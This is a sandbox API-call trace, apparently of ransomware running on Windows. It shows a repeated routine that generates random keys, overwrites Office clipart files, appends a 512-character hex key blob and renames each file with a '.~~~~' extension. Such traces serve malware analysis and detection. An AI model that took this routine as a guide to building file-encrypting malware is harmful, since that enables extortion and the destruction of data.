	[0113.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835970
	[0113.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.485] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.485] GetLastError () returned 0x0
	[0113.485] GetLastError () returned 0x0
	[0113.485] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.485] GetLastError () returned 0x0
	[0113.485] GetLastError () returned 0x0
	[0113.487] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8170, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.488] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x7e90, lpOverlapped=0x0) returned 1
	[0113.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.488] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.489] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.489] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.489] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.489] CloseHandle (hObject=0x11c) returned 1
	[0113.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.~~~~")) returned 1
	[0113.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.490] GetLastError () returned 0x0
	[0113.490] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.491] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.491] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.491] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23348143293) returned 1
	[0113.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad3f0af0, dwHighDateTime=0x1d60e1e)) 
	[0113.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28391b0
	[0113.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28391b0 | out: hHeap=0x300000) returned 1
	[0113.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835a08
	[0113.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.492] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.492] GetLastError () returned 0x0
	[0113.492] GetLastError () returned 0x0
	[0113.492] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.492] GetLastError () returned 0x0
	[0113.492] GetLastError () returned 0x0
	[0113.494] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff786b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.494] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8795, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x8795, lpOverlapped=0x0) returned 1
	[0113.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.495] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.495] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.495] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.495] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.496] CloseHandle (hObject=0x11c) returned 1
	[0113.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.496] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.~~~~")) returned 1
	[0113.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.496] GetLastError () returned 0x0
	[0113.497] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.499] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.499] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.499] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23348910709) returned 1
	[0113.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad416c50, dwHighDateTime=0x1d60e1e)) 
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28391e8
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28391e8 | out: hHeap=0x300000) returned 1
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835aa0
	[0113.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.500] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.500] GetLastError () returned 0x0
	[0113.500] GetLastError () returned 0x0
	[0113.500] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.500] GetLastError () returned 0x0
	[0113.500] GetLastError () returned 0x0
	[0113.571] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7ee8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.584] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8118, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x8118, lpOverlapped=0x0) returned 1
	[0113.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.592] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.592] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.592] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.592] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.592] CloseHandle (hObject=0x11c) returned 1
	[0113.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.~~~~")) returned 1
	[0113.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.600] GetLastError () returned 0x0
	[0113.600] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.601] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.601] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23359146811) returned 1
	[0113.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad4fb490, dwHighDateTime=0x1d60e1e)) 
	[0113.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28393e0
	[0113.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28393e0 | out: hHeap=0x300000) returned 1
	[0113.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835b38
	[0113.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.602] GetLastError () returned 0x0
	[0113.603] GetLastError () returned 0x0
	[0113.603] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.603] GetLastError () returned 0x0
	[0113.603] GetLastError () returned 0x0
	[0113.606] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.606] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0113.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.608] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.609] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.610] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.610] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.610] CloseHandle (hObject=0x11c) returned 1
	[0113.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.~~~~")) returned 1
	[0113.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.612] GetLastError () returned 0x0
	[0113.612] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.613] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.613] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.614] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23360388592) returned 1
	[0113.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad5215f0, dwHighDateTime=0x1d60e1e)) 
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839418
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839418 | out: hHeap=0x300000) returned 1
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836090
	[0113.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.615] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.615] GetLastError () returned 0x0
	[0113.615] GetLastError () returned 0x0
	[0113.615] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.615] GetLastError () returned 0x0
	[0113.615] GetLastError () returned 0x0
	[0113.619] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.619] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0113.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.622] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.622] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.624] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.624] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.624] CloseHandle (hObject=0x11c) returned 1
	[0113.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.624] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.~~~~")) returned 1
	[0113.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.626] GetLastError () returned 0x0
	[0113.626] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.628] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.628] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.628] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23361799514) returned 1
	[0113.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad547750, dwHighDateTime=0x1d60e1e)) 
	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839450
	[0113.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839450 | out: hHeap=0x300000) returned 1
